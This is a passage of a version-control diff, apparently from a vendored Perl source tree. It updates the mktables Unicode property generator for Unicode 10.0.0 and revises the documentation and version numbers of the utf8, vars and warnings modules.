                             );
 
@@ -14468,7 +14760,6 @@
         $Alpha->add_alias('Alphabetic');
     }
     my $Posix_Alpha = $perl->add_match_table("PosixAlpha",
-                            Description => "[A-Za-z]",
                             Initialize => $Alpha & $ASCII,
                             );
     $Posix_Upper->set_caseless_equivalent($Posix_Alpha);
@@ -14479,13 +14770,13 @@
                         Initialize => $Alpha + $gc->table('Decimal_Number'),
                         );
     $perl->add_match_table("PosixAlnum",
-                            Description => "[A-Za-z0-9]",
                             Initialize => $Alnum & $ASCII,
                             );
 
     my $Word = $perl->add_match_table('Word', Full_Name => 'XPosixWord',
                                 Description => '\w, including beyond ASCII;'
-                                            . ' = \p{Alnum} + \pM + \p{Pc}',
+                                            . ' = \p{Alnum} + \pM + \p{Pc}'
+                                            . ' + \p{Join_Control}',
                                 Initialize => $Alnum + $gc->table('Mark'),
                                 );
     my $Pc = $gc->table('Connector_Punctuation'); # 'Pc' Not in release 1
@@ -14505,7 +14796,7 @@
 
     # This is a Perl extension, so the name doesn't begin with Posix.
     my $PerlWord = $perl->add_match_table('PosixWord',
-                    Description => '\w, restricted to ASCII = [A-Za-z0-9_]',
+                    Description => '\w, restricted to ASCII',
                     Initialize => $Word & $ASCII,
                     );
     $PerlWord->add_alias('PerlWord');
@@ -14522,7 +14813,6 @@
                                 );
     $Blank->add_alias('HorizSpace');        # Another name for it.
     $perl->add_match_table("PosixBlank",
-                            Description => "\\t and ' '",
                             Initialize => $Blank & $ASCII,
                             );
 
@@ -14548,7 +14838,6 @@
     $Space->add_alias('Space') if $v_version lt v4.1.0;
 
     my $Posix_space = $perl->add_match_table("PosixSpace",
-                            Description => "\\t, \\n, \\cK, \\f, \\r, and ' '.  (\\cK is vertical tab)",
                             Initialize => $Space & $ASCII,
                             );
     $Posix_space->add_alias('PerlSpace'); # A pre-existing synonym
@@ -14557,7 +14846,12 @@
                                         Description => 'Control characters');
     $Cntrl->set_equivalent_to($gc->table('Cc'), Related => 1);
     $perl->add_match_table("PosixCntrl",
-                            Description => "ASCII control characters: NUL, SOH, STX, ETX, EOT, ENQ, ACK, BEL, BS, HT, LF, VT, FF, CR, SO, SI, DLE, DC1, DC2, DC3, DC4, NAK, SYN, ETB, CAN, EOM, SUB, ESC, FS, GS, RS, US, and DEL",
+                            Description => "ASCII control characters",
+                            Definition =>  "ACK, BEL, BS, CAN, CR, DC1, DC2,"
+                                         . " DC3, DC4, DEL, DLE, ENQ, EOM,"
+                                         . " EOT, ESC, ETB, ETX, FF, FS, GS,"
+                                         . " HT, LF, NAK, NUL, RS, SI, SO,"
+                                         . " SOH, STX, SUB, SYN, US, VT",
                             Initialize => $Cntrl & $ASCII,
                             );
 
@@ -14581,8 +14875,6 @@
                         Initialize => ~ ($Space + $controls),
                         );
     $perl->add_match_table("PosixGraph",
-                            Description =>
-                                '[-!"#$%&\'()*+,./:;<=>?@[\\\]^_`{|}~0-9A-Za-z]',
                             Initialize => $Graph & $ASCII,
                             );
 
@@ -14591,8 +14883,6 @@
                         Initialize => $Blank + $Graph - $gc->table('Control'),
                         );
     $perl->add_match_table("PosixPrint",
-                            Description =>
-                              '[- 0-9A-Za-z!"#$%&\'()*+,./:;<=>?@[\\\]^_`{|}~]',
                             Initialize => $print & $ASCII,
                             );
 
@@ -14607,7 +14897,6 @@
                                 Perl_Extension => 1
         );
     $perl->add_match_table('PosixPunct', Perl_Extension => 1,
-        Description => '[-!"#$%&\'()*+,./:;<=>?@[\\\]^_`{|}~]',
         Initialize => $ASCII & $XPosixPunct,
         );
 
@@ -14615,7 +14904,6 @@
                             Description => '[0-9] + all other decimal digits');
     $Digit->set_equivalent_to($gc->table('Decimal_Number'), Related => 1);
     my $PosixDigit = $perl->add_match_table("PosixDigit",
-                                            Description => '[0-9]',
                                             Initialize => $Digit & $ASCII,
                                             );
 
@@ -14630,7 +14918,6 @@
                               ord('A') .. ord('F'),
                               ord('a') .. ord('f'),
                               0xFF10..0xFF19, 0xFF21..0xFF26, 0xFF41..0xFF46]);
-        $Xdigit->add_description('[0-9A-Fa-f] and corresponding fullwidth versions, like U+FF10: FULLWIDTH DIGIT ZERO');
     }
 
     # AHex was not present in early releases
@@ -14644,7 +14931,6 @@
         $PosixXDigit->add_alias('AHex');
         $PosixXDigit->add_alias('Ascii_Hex_Digit');
     }
-    $PosixXDigit->add_description('[0-9A-Fa-f]');
 
     my $any_folds = $perl->add_match_table("_Perl_Any_Folds",
                     Description => "Code points that particpate in some fold",
@@ -15100,6 +15386,9 @@
                                                     . $current_age->name
                                                     . ' or earlier',
                                     );
+            foreach my $alias ($current_age->aliases) {
+                $current_in->add_alias($alias->name);
+            }
             $previous_in = $current_in;
 
             # Add clarifying material for the corresponding age file.  This is
@@ -15321,6 +15610,71 @@
         }
     }
 
+    # This property is a modification of the scx property
+    my $perl_scx = Property->new('_Perl_SCX',
+                                 Fate => $INTERNAL_ONLY,
+                                 Perl_Extension => 1,
+                                 Directory => $map_directory,
+                                 Type => $ENUM);
+    my $source;
+
+    # Use scx if available; otherwise sc;  if neither is there (a very old
+    # Unicode version, just say that everything is 'Common'
+    if (defined $scx) {
+        $source = $scx;
+        $perl_scx->set_default_map('Unknown');
+    }
+    elsif (defined $script) {
+        $source = $script;
+
+        # Early versions of 'sc', had everything be 'Common'
+        if (defined $script->table('Unknown')) {
+            $perl_scx->set_default_map('Unknown');
+        }
+        else {
+            $perl_scx->set_default_map('Common');
+        }
+    } else {
+        $perl_scx->add_match_table('Common');
+        $perl_scx->add_map(0, $MAX_UNICODE_CODEPOINT, 'Common');
+
+        $perl_scx->add_match_table('Unknown');
+        $perl_scx->set_default_map('Unknown');
+    }
+
+    $perl_scx->_set_format($STRING_WHITE_SPACE_LIST);
+    $perl_scx->set_pre_declared_maps(0); # PropValueAliases doesn't list these
+
+    if (defined $source) {
+        $perl_scx->initialize($source);
+
+        # UTS 39 says that the scx property should be modified for these
+        # countries where certain mixed scripts are commonly used.
+        for my $range ($perl_scx->ranges) {
+            my $value = $range->value;
+            my $changed = $value =~ s/ ( \b Han i? \b ) /$1 Hanb Jpan Kore/xi;
+             $changed |=  $value =~ s/ ( \b Hira (gana)? \b ) /$1 Jpan/xi;
+             $changed |=  $value =~ s/ ( \b Kata (kana)? \b ) /$1 Jpan/xi;
+             $changed |=  $value =~ s{ ( \b Katakana_or_Hiragana \b ) }
+                                     {$1 Katakana Hiragana Jpan}xi;
+             $changed |=  $value =~ s/ ( \b Hang (ul)? \b ) /$1 Kore/xi;
+             $changed |=  $value =~ s/ ( \b Bopo (mofo)? \b ) /$1 Hanb/xi;
+
+            if ($changed) {
+                $value = join " ", uniques split " ", $value;
+                $range->set_value($value)
+            }
+        }
+
+        foreach my $table ($source->tables) {
+            my $scx_table = $perl_scx->add_match_table($table->name,
+                                    Full_Name => $table->full_name);
+            foreach my $alias ($table->aliases) {
+                $scx_table->add_alias($alias->name);
+            }
+        }
+    }
+
     # Here done with all the basic stuff.  Ready to populate the information
     # about each character if annotating them.
     if ($annotate) {
@@ -15364,7 +15718,6 @@
 
     # If the version of Unicode includes the Script Extensions (preferably),
     # or Script property, add its tables
-    my $scx = property_ref("Script_Extensions");
     if (defined $scx) {
         push @tables, $scx->tables;
     }
@@ -16029,7 +16382,18 @@
         $unicode_count = $count;
         $non_unicode_string = "";
     }
+
     my $string_count = clarify_number($unicode_count) . $non_unicode_string;
+
+    my $definition = $input_table->calculate_table_definition;
+    if ($definition) {
+
+        # Save the definition for later use.
+        $input_table->set_definition($definition);
+
+        $definition = ": $definition";
+    }
+
     my $status = $input_table->status;
     my $status_info = $input_table->status_info;
     my $caseless_equivalent = $input_table->caseless_equivalent;
@@ -16324,7 +16688,10 @@
             if ($table_property != $perl && $table->perl_extension) {
                 push @info, '(Perl extension)';
             }
-            push @info, "($string_count)";
+            my $definition = $table->definition // "";
+            $definition = "" if $entry_for_first_alias;
+            $definition = ": $definition" if $definition;
+            push @info, "($string_count$definition)";
 
             # Now, we have both the entry and info so add them to the
             # list of all the properties.
@@ -16367,15 +16734,19 @@
                    : $table->parent->property;
 
     my $perl_extension = $table->perl_extension;
+    my $is_perl_extension_match_table_but_not_dollar_perl
+                                                        = $property != $perl
+                                                       && $perl_extension
+                                                       && $property != $table;
 
     # Get the more official name for for perl extensions that aren't
     # stand-alone properties
-    if ($perl_extension && $property != $table) {
-        if ($property == $perl ||$property->type == $BINARY) {
-            $meaning = $table->complete_name;
+    if ($is_perl_extension_match_table_but_not_dollar_perl) {
+        if ($property->type == $BINARY) {
+            $meaning = $property->full_name;
         }
         else {
-            $meaning = $property->full_name . "=$full_name";
+            $meaning = $table->parent->complete_name;
         }
     }
 
@@ -16382,25 +16753,32 @@
     # There are three types of info column.  One for the short name, one for
     # the full name, and one for everything else.  They mostly are the same,
     # so initialize in the same loop.
+
     foreach my $info_ref (\$full_info, \$short_info, \$other_info) {
-        if ($perl_extension && $property != $table) {
+        if ($info_ref != \$full_info) {
 
+            # The non-full name columns include the full name
+            $$info_ref .= $full_name;
+        }
+
+
+        if ($is_perl_extension_match_table_but_not_dollar_perl) {
+
             # Add the synonymous name for the non-full name entries; and to
             # the full-name entry if it adds extra information
-            if ($info_ref == \$other_info
-                || ($info_ref == \$short_info
-                    && $standard_short_name ne $standard_full_name)
-                || standardize($meaning) ne $standard_full_name
-            ) {
-                $$info_ref .= "$meaning.";
+            if (   standardize($meaning) ne $standard_full_name
+                || $info_ref == \$other_info
+                || $info_ref == \$short_info)
+            {
+                my $parenthesized =  $info_ref != \$full_info;
+                $$info_ref .= " " if $$info_ref && $parenthesized;
+                $$info_ref .= "(=" if $parenthesized;
+                $$info_ref .= "$meaning";
+                $$info_ref .= ")" if $parenthesized;
+                $$info_ref .= ".";
             }
         }
-        elsif ($info_ref != \$full_info) {
 
-            # Otherwise, the non-full name columns include the full name
-            $$info_ref .= $full_name;
-        }
-
         # And the full-name entry includes the short name, if shorter
         if ($info_ref == \$full_info
             && length $standard_short_name < length $standard_full_name)
@@ -16417,8 +16795,23 @@
         }
     }
 
+    my $definition;
+    my $definition_table;
+    my $type = $table->property->type;
+    if ($type == $BINARY || $type == $FORCED_BINARY) {
+        $definition_table = $table->property->table('Y');
+    }
+    elsif ($table->isa('Match_Table')) {
+        $definition_table = $table;
+    }
+
+    $definition = $definition_table->calculate_table_definition
+                                            if defined $definition_table
+                                                    && $definition_table != 0;
+
     # Add any extra annotations to the full name entry
     foreach my $more_info ($table->description,
+                            $definition,
                             $table->note,
                             $table->status_info)
     {
@@ -16556,27 +16949,69 @@
         return -1
     }
 
-    # Determine if the two operands are numeric property values or not.
-    # A numeric property will look like xyz: 3.  But the number
-    # can begin with an optional minus sign, and may have a
-    # fraction or rational component, like xyz: 3/2.  If either
-    # isn't numeric, use alphabetic sort.
-    my ($a_initial, $a_number) =
-        ($a =~ /^ ( [^:=]+ [:=] \s* ) (-? \d+ (?: [.\/] \d+)? )/ix);
-    return $a cmp $b unless defined $a_number;
-    my ($b_initial, $b_number) =
-        ($b =~ /^ ( [^:=]+ [:=] \s* ) (-? \d+ (?: [.\/] \d+)? )/ix);
-    return $a cmp $b unless defined $b_number;
+    # Determine if the two operands are compound or not, and if so if are
+    # "numeric" property values or not, like \p{Age: 3.0}.  But there are also
+    # things like \p{Canonical_Combining_Class: CCC133} and \p{Age: V10_0},
+    # all of which this considers numeric, and for sorting, looks just at the
+    # numeric parts.  It can also be a rational like \p{Numeric Value=-1/2}.
+    my $split_re = qr/
+        ^ ( [^:=]+ ) # $1 is undef if not a compound form, otherwise is the
+                     # property name
+        [:=] \s*     # The syntax for the compound form
+        (?:          # followed by ...
+            (        # $2 gets defined if what follows is a "numeric"
+                     # expression, which is ...
+              ( -? \d+ (?: [.\/] \d+)?  # An integer, float, or rational
+                                        # number, optionally signed
+               | [[:alpha:]]{2,} \d+ $ ) # or something like CCC131.  Either
+                                         # of these go into $3
+             | ( V \d+ _ \d+ )           # or a Unicode's Age property version
+                                         # number, into $4
+            )
+            | .* $    # If not "numeric", accept anything so that $1 gets
+                      # defined if it is any compound form
+        ) /ix;
+    my ($a_initial, $a_numeric, $a_number, $a_version) = ($a =~ $split_re);
+    my ($b_initial, $b_numeric, $b_number, $b_version) = ($b =~ $split_re);
 
-    # Here they are both numeric, but use alphabetic sort if the
-    # initial parts don't match
-    return $a cmp $b if $a_initial ne $b_initial;
+    # Sort alphabeticlly on the whole property name if either operand isn't
+    # compound, or they differ.
+    return $a cmp $b if   ! defined $a_initial
+                       || ! defined $b_initial
+                       || $a_initial ne $b_initial;
 
+    if (! defined $a_numeric) {
+
+        # If neither is numeric, use alpha sort
+        return $a cmp $b if ! defined $b_numeric;
+        return 1;  # Sort numeric ahead of alpha
+    }
+
+    # Here $a is numeric
+    return -1 if ! defined $b_numeric;  # Numeric sorts before alpha
+
+    # Here they are both numeric in the same property.
+    # Convert version numbers into regular numbers
+    if (defined $a_version) {
+        ($a_number = $a_version) =~ s/^V//i;
+        $a_number =~ s/_/./;
+    }
+    else {  # Otherwise get rid of the, e.g., CCC in CCC9 */
+        $a_number =~ s/ ^ [[:alpha:]]+ //x;
+    }
+    if (defined $b_version) {
+        ($b_number = $b_version) =~ s/^V//i;
+        $b_number =~ s/_/./;
+    }
+    else {
+        $b_number =~ s/ ^ [[:alpha:]]+ //x;
+    }
+
     # Convert rationals to floating for the comparison.
     $a_number = eval $a_number if $a_number =~ qr{/};
     $b_number = eval $b_number if $b_number =~ qr{/};
 
-    return $a_number <=> $b_number;
+    return $a_number <=> $b_number || $a cmp $b;
 }
 
 sub make_pod () {
@@ -16802,6 +17237,7 @@
     $ucd_pod =  format_pod_line($indent_info_column, 'NAME', '  INFO')
                 . "\n"
                 . $ucd_pod;
+    my $space_hex = sprintf("%02x", ord " ");
     local $" = "";
 
     # Everything is ready to assemble.
@@ -16862,14 +17298,16 @@
 B<Compound forms> consist of two components, separated by an equals sign or a
 colon.  The first component is the property name, and the second component is
 the particular value of the property to match against, for example,
-C<\\p{Script: Greek}> and C<\\p{Script=Greek}> both mean to match characters
-whose Script property value is Greek.
+C<\\p{Script_Extensions: Greek}> and C<\\p{Script_Extensions=Greek}> both mean
+to match characters whose Script_Extensions property value is Greek.
+(C<Script_Extensions> is an improved version of the C<Script> property.)
 
 B<Single forms>, like C<\\p{Greek}>, are mostly Perl-defined shortcuts for
 their equivalent compound forms.  The table shows these equivalences.  (In our
-example, C<\\p{Greek}> is a just a shortcut for C<\\p{Script=Greek}>.)
-There are also a few Perl-defined single forms that are not shortcuts for a
-compound form.  One such is C<\\p{Word}>.  These are also listed in the table.
+example, C<\\p{Greek}> is a just a shortcut for
+C<\\p{Script_Extensions=Greek}>).  There are also a few Perl-defined single
+forms that are not shortcuts for a compound form.  One such is C<\\p{Word}>.
+These are also listed in the table.
 
 In parsing these constructs, Perl always ignores Upper/lower case differences
 everywhere within the {braces}.  Thus C<\\p{Greek}> means the same thing as
@@ -16993,9 +17431,17 @@
 are noted as such.
 
 Numbers in (parentheses) indicate the total number of Unicode code points
-matched by the property.  For emphasis, those properties that match no code
-points at all are listed as well in a separate section following the table.
+matched by the property.  For the entries that give the longest, most
+descriptive version of the property, the count is followed by a list of some
+of the code points matched by it.  The list includes all the matched
+characters in the 0-255 range, enclosed in the familiar [brackets] the same as
+a regular expression bracketed character class.  Following that, the next few
+higher matching ranges are also given.  To avoid visual ambiguity, the SPACE
+character is represented as C<\\x$space_hex>.
 
+For emphasis, those properties that match no code points at all are listed as
+well in a separate section following the table.
+
 Most properties match the same code points regardless of whether C<"/i">
 case-insensitive matching is specified or not.  But a few properties are
 affected.  These are shown with the notation S<C<(/i= I<other_property>)>>
@@ -17099,7 +17545,11 @@
 name is the property's full name, unless that would simply repeat the first
 column, in which case the second column indicates the property's short name
 (if different).  The annotations are given only in the entry for the full
-name.  If a property is obsolete, etc, the entry will be flagged with the same
+name.  The annotations for binary properties include a list of the first few
+ranges that the property matches.  To avoid any ambiguity, the SPACE character
+is represented as C<\\x$space_hex>.
+
+If a property is obsolete, etc, the entry will be flagged with the same
 characters used in the table in the L<section above|/Properties accessible
 through \\p{} and \\P{}>, like B<$DEPRECATED> or B<$STABILIZED>.
 
@@ -18053,18 +18503,19 @@
                     make_re_pod_entries($table) if defined $pod_directory;
 
                     # See if the table matches identical code points with
-                    # something that has already been output.  In that case,
-                    # no need to have two files with the same code points in
-                    # them.  We use the table's hash() method to store these
-                    # in buckets, so that it is quite likely that if two
-                    # tables are in the same bucket they will be identical, so
-                    # don't have to compare tables frequently.  The tables
-                    # have to have the same status to share a file, so add
-                    # this to the bucket hash.  (The reason for this latter is
-                    # that Heavy.pl associates a status with a file.)
-                    # We don't check tables that are inverses of others, as it
-                    # would lead to some coding complications, and checking
-                    # all the regular ones should find everything.
+                    # something that has already been processed and is ready
+                    # for output.  In that case, no need to have two files
+                    # with the same code points in them.  We use the table's
+                    # hash() method to store these in buckets, so that it is
+                    # quite likely that if two tables are in the same bucket
+                    # they will be identical, so don't have to compare tables
+                    # frequently.  The tables have to have the same status to
+                    # share a file, so add this to the bucket hash.  (The
+                    # reason for this latter is that Heavy.pl associates a
+                    # status with a file.) We don't check tables that are
+                    # inverses of others, as it would lead to some coding
+                    # complications, and checking all the regular ones should
+                    # find everything.
                     if ($table->complement == 0) {
                         my $hash = $table->hash . ';' . $table->status;
 
@@ -18073,7 +18524,11 @@
                         foreach my $comparison
                                             (@{$match_tables_to_write{$hash}})
                         {
-                            if ($table->matches_identically_to($comparison)) {
+                            # If the table doesn't point back to this one, we
+                            # see if it matches identically
+                            if (   $comparison->leader != $table
+                                && $table->matches_identically_to($comparison))
+                            {
                                 $table->set_equivalent_to($comparison,
                                                                 Related => 0);
                                 next TABLE;
@@ -18654,6 +19109,24 @@
                                  lc $a->name cmp lc $b->name
                                } property_ref('*'))
     {
+        # Non-binary properties should not match \p{};  Test all for that.
+        if ($property->type != $BINARY) {
+            my @property_aliases = grep { $_->status ne $INTERNAL_ALIAS }
+                                                            $property->aliases;
+            foreach my $property_alias ($property->aliases) {
+                my $name = standardize($property_alias->name);
+
+                # But some names are ambiguous, meaning a binary property with
+                # the same name when used in \p{}, and a different
+                # (non-binary) property in other contexts.
+                next if grep { $name eq $_ } keys %ambiguous_names;
+
+                push @output, <<"EOF_CODE";
+Error('\\p{$name}');
+Error('\\P{$name}');
+EOF_CODE
+            }
+        }
         foreach my $table (sort { $a->has_dependency <=> $b->has_dependency
                                     or
                                   lc $a->name cmp lc $b->name
@@ -19052,6 +19525,14 @@
                     Property => 'Joining_Type',
                     Has_Missings_Defaults => $NOT_IGNORED,
                    ),
+    Input_file->new("${EXTRACTED}DName.txt", v10.0.0,
+                    Skip => 'This file adds no new information not already'
+                          . ' present in other files',
+                    # And it's unnecessary programmer work to handle this new
+                    # format.  Previous Derived files actually had bug fixes
+                    # in them that were useful, but that should not be the
+                    # case here.
+                   ),
     Input_file->new('Jamo.txt', v2.0.0,
                     Property => 'Jamo_Short_Name',
                     Each_Line_Handler => \&filter_jamo_line,
@@ -19439,6 +19920,9 @@
                    ),
     Input_file->new('ScriptExtensions.txt', v6.0.0,
                     Property => 'Script_Extensions',
+                    Early => [ sub {} ], # Doesn't do anything but ensures
+                                         # that this isn't skipped for early
+                                         # versions
                     Pre_Handler => \&setup_script_extensions,
                     Each_Line_Handler => \&filter_script_extensions_line,
                     Has_Missings_Defaults => (($v_version le v6.0.0)
@@ -19490,6 +19974,13 @@
                           . ' informative radical-stroke values that are used'
                           . ' internally by Unicode',
                    ),
+    Input_file->new('VerticalOrientation.txt', v10.0.0,
+                    Property => 'Vertical_Orientation',
+                    Has_Missings_Defaults => $NOT_IGNORED,
+                   ),
+    Input_file->new('NushuSources.txt', v10.0.0,
+                    Skip => 'Specifies source material for Nushu characters',
+                   ),
 );
 
 # End of all the preliminaries.
@@ -19760,9 +20251,9 @@
 
     print "Updating '$file_list'\n" if $verbosity >= $PROGRESS;
     foreach my $file (@input_files, @files_actually_output) {
-        my (undef, $directories, $file) = File::Spec->splitpath($file);
-        my @directories = File::Spec->splitdir($directories);
-        $file = join '/', @directories, $file;
+        my (undef, $directories, $basefile) = File::Spec->splitpath($file);
+        my @directories = grep length, File::Spec->splitdir($directories);
+        $file = join '/', @directories, $basefile;
     }
 
     my $ofh;

Modified: vendor/perl/dist/lib/unicore/version
===================================================================
--- vendor/perl/dist/lib/unicore/version	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/version	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1 +1 @@
-9.0.0
+10.0.0

Modified: vendor/perl/dist/lib/utf8.pm
===================================================================
--- vendor/perl/dist/lib/utf8.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/utf8.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 $utf8::hint_bits = 0x00800000;
 
-our $VERSION = '1.19';
+our $VERSION = '1.21';
 
 sub import {
     $^H |= $utf8::hint_bits;
@@ -109,12 +109,27 @@
 Converts in-place the internal representation of the string from an octet
 sequence in the native encoding (Latin-1 or EBCDIC) to UTF-8. The
 logical character sequence itself is unchanged.  If I<$string> is already
-stored as UTF-8, then this is a no-op. Returns the
-number of octets necessary to represent the string as UTF-8.  Can be
-used to make sure that the UTF-8 flag is on, so that C<\w> or C<lc()>
-work as Unicode on strings containing non-ASCII characters whose code points
-are below 256.
+upgraded, then this is a no-op. Returns the
+number of octets necessary to represent the string as UTF-8.
 
+If your code needs to be compatible with versions of perl without
+C<use feature 'unicode_strings';>, you can force Unicode semantics on
+a given string:
+
+  # force unicode semantics for $string without the
+  # "unicode_strings" feature
+  utf8::upgrade($string);
+
+For example:
+
+  # without explicit or implicit use feature 'unicode_strings'
+  my $x = "\xDF";    # LATIN SMALL LETTER SHARP S
+  $x =~ /ss/i;       # won't match
+  my $y = uc($x);    # won't convert
+  utf8::upgrade($x);
+  $x =~ /ss/i;       # matches
+  my $z = uc($x);    # converts to "SS"
+
 B<Note that this function does not handle arbitrary encodings>;
 use L<Encode> instead.
 
@@ -121,14 +136,12 @@
 =item * C<$success = utf8::downgrade($string[, $fail_ok])>
 
 (Since Perl v5.8.0)
-Converts in-place the internal representation of the string from
-UTF-8 to the equivalent octet sequence in the native encoding (Latin-1
-or EBCDIC). The logical character sequence itself is unchanged. If
-I<$string> is already stored as native 8 bit, then this is a no-op.  Can
-be used to
-make sure that the UTF-8 flag is off, e.g. when you want to make sure
-that the substr() or length() function works with the usually faster
-byte algorithm.
+Converts in-place the internal representation of the string from UTF-8 to the
+equivalent octet sequence in the native encoding (Latin-1 or EBCDIC). The
+logical character sequence itself is unchanged. If I<$string> is already
+stored as native 8 bit, then this is a no-op.  Can be used to make sure that
+the UTF-8 flag is off, e.g. when you want to make sure that the substr() or
+length() function works with the usually faster byte algorithm.
 
 Fails if the original UTF-8 sequence cannot be represented in the
 native 8 bit encoding. On failure dies or, if the value of I<$fail_ok> is
@@ -136,6 +149,15 @@
 
 Returns true on success.
 
+If your code expects an octet sequence this can be used to validate
+that you've received one:
+
+  # throw an exception if not representable as octets
+  utf8::downgrade($string)
+
+  # or do your own error handling
+  utf8::downgrade($string, 1) or die "string must be octets";
+
 B<Note that this function does not handle arbitrary encodings>;
 use L<Encode> instead.
 
@@ -143,16 +165,21 @@
 
 (Since Perl v5.8.0)
 Converts in-place the character sequence to the corresponding octet
-sequence in UTF-8. That is, every (possibly wide) character gets
-replaced with a sequence of one or more characters that represent the
+sequence in Perl's extended UTF-8. That is, every (possibly wide) character
+gets replaced with a sequence of one or more characters that represent the
 individual UTF-8 bytes of the character.  The UTF8 flag is turned off.
 Returns nothing.
 
- my $a = "\x{100}"; # $a contains one character, with ord 0x100
- utf8::encode($a);  # $a contains two characters, with ords (on
+ my $x = "\x{100}"; # $x contains one character, with ord 0x100
+ utf8::encode($x);  # $x contains two characters, with ords (on
                     # ASCII platforms) 0xc4 and 0x80.  On EBCDIC
                     # 1047, this would instead be 0x8C and 0x41.
 
+Similar to:
+
+  use Encode;
+  $x = Encode::encode("utf8", $x);
+
 B<Note that this function does not handle arbitrary encodings>;
 use L<Encode> instead.
 
@@ -159,19 +186,19 @@
 =item * C<$success = utf8::decode($string)>
 
 (Since Perl v5.8.0)
-Attempts to convert in-place the octet sequence encoded as UTF-8 to the
-corresponding character sequence. That is, it replaces each sequence of
-characters in the string whose ords represent a valid UTF-8 byte
-sequence, with the corresponding single character.  The UTF-8 flag is
-turned on only if the source string contains multiple-byte UTF-8
-characters.  If I<$string> is invalid as UTF-8, returns false;
+Attempts to convert in-place the octet sequence encoded in Perl's extended
+UTF-8 to the corresponding character sequence. That is, it replaces each
+sequence of characters in the string whose ords represent a valid (extended)
+UTF-8 byte sequence, with the corresponding single character.  The UTF-8 flag
+is turned on only if the source string contains multiple-byte UTF-8
+characters.  If I<$string> is invalid as extended UTF-8, returns false;
 otherwise returns true.
 
- my $a = "\xc4\x80"; # $a contains two characters, with ords
+ my $x = "\xc4\x80"; # $x contains two characters, with ords
                      # 0xc4 and 0x80
- utf8::decode($a);   # On ASCII platforms, $a contains one char,
+ utf8::decode($x);   # On ASCII platforms, $x contains one char,
                      # with ord 0x100.   Since these bytes aren't
-                     # legal UTF-EBCDIC, on EBCDIC platforms, $a is
+                     # legal UTF-EBCDIC, on EBCDIC platforms, $x is
                      # unchanged and the function returns FALSE.
 
 B<Note that this function does not handle arbitrary encodings>;
@@ -208,16 +235,31 @@
 =item * C<$flag = utf8::is_utf8($string)>
 
 (Since Perl 5.8.1)  Test whether I<$string> is marked internally as encoded in
-UTF-8.  Functionally the same as C<Encode::is_utf8()>.
+UTF-8.  Functionally the same as C<Encode::is_utf8($string)>.
 
+Typically only necessary for debugging and testing, if you need to
+dump the internals of an SV, L<Devel::Peek's|Devel::Peek> Dump()
+provides more detail in a compact form.
+
+If you still think you need this outside of debugging, testing or
+dealing with filenames, you should probably read L<perlunitut> and
+L<perlunifaq/What is "the UTF8 flag"?>.
+
+Don't use this flag as a marker to distinguish character and binary
+data: that should be decided for each variable when you write your
+code.
+
+To force unicode semantics in code portable to perl 5.8 and 5.10, call
+C<utf8::upgrade($string)> unconditionally.
+
 =item * C<$flag = utf8::valid($string)>
 
 [INTERNAL] Test whether I<$string> is in a consistent state regarding
-UTF-8.  Will return true if it is well-formed UTF-8 and has the UTF-8 flag
+UTF-8.  Will return true if it is well-formed Perl extended UTF-8 and has the
+UTF-8 flag
 on B<or> if I<$string> is held as bytes (both these states are 'consistent').
-Main reason for this routine is to allow Perl's test suite to check
-that operations have left strings in a consistent state.  You most
-probably want to use C<utf8::is_utf8()> instead.
+The main reason for this routine is to allow Perl's test suite to check
+that operations have left strings in a consistent state.
 
 =back
 

Modified: vendor/perl/dist/lib/vars.pm
===================================================================
--- vendor/perl/dist/lib/vars.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/vars.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 use 5.006;
 
-our $VERSION = '1.03';
+our $VERSION = '1.04';
 
 use warnings::register;
 use strict qw(vars subs);
@@ -61,13 +61,14 @@
 declarations, available in Perl v5.6.0 or later, and use of this pragma is
 discouraged.  See L<perlfunc/our>.
 
-This will predeclare all the variables whose names are 
-in the list, allowing you to use them under "use strict", and
-disabling any typo warnings.
+This pragma will predeclare all the variables whose names are
+in the list, allowing you to use them under C<use strict>, and
+disabling any typo warnings for them.
 
 Unlike pragmas that affect the C<$^H> hints variable, the C<use vars> and
-C<use subs> declarations are not BLOCK-scoped.  They are thus effective
-for the entire file in which they appear.  You may not rescind such
+C<use subs> declarations are not lexically scoped to the block they appear
+in: they affect
+the entire package in which they appear.  It is not possible to rescind these
 declarations with C<no vars> or C<no subs>.
 
 Packages such as the B<AutoLoader> and B<SelfLoader> that delay

Modified: vendor/perl/dist/lib/warnings.pm
===================================================================
--- vendor/perl/dist/lib/warnings.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/warnings.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 package warnings;
 
-our $VERSION = "1.37";
+our $VERSION = "1.42";
 
 # Verify that we're called correctly so that warnings will work.
 # Can't use Carp, since Carp uses us!
@@ -96,156 +96,165 @@
 
     # Warnings Categories added in Perl 5.025
     'experimental::declared_refs'	=> 132,
+
+    # Warnings Categories added in Perl 5.027
+    'experimental::alpha_assertions'	=> 134,
+    'experimental::script_run'		=> 136,
+    'shadow'				=> 138,
 );
 
 our %Bits = (
-    'all'				=> "\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x15", # [0..66]
-    'ambiguous'				=> "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [29]
-    'bareword'				=> "\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [30]
-    'closed'				=> "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [6]
-    'closure'				=> "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [1]
-    'debugging'				=> "\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [22]
-    'deprecated'			=> "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [2]
-    'digit'				=> "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [31]
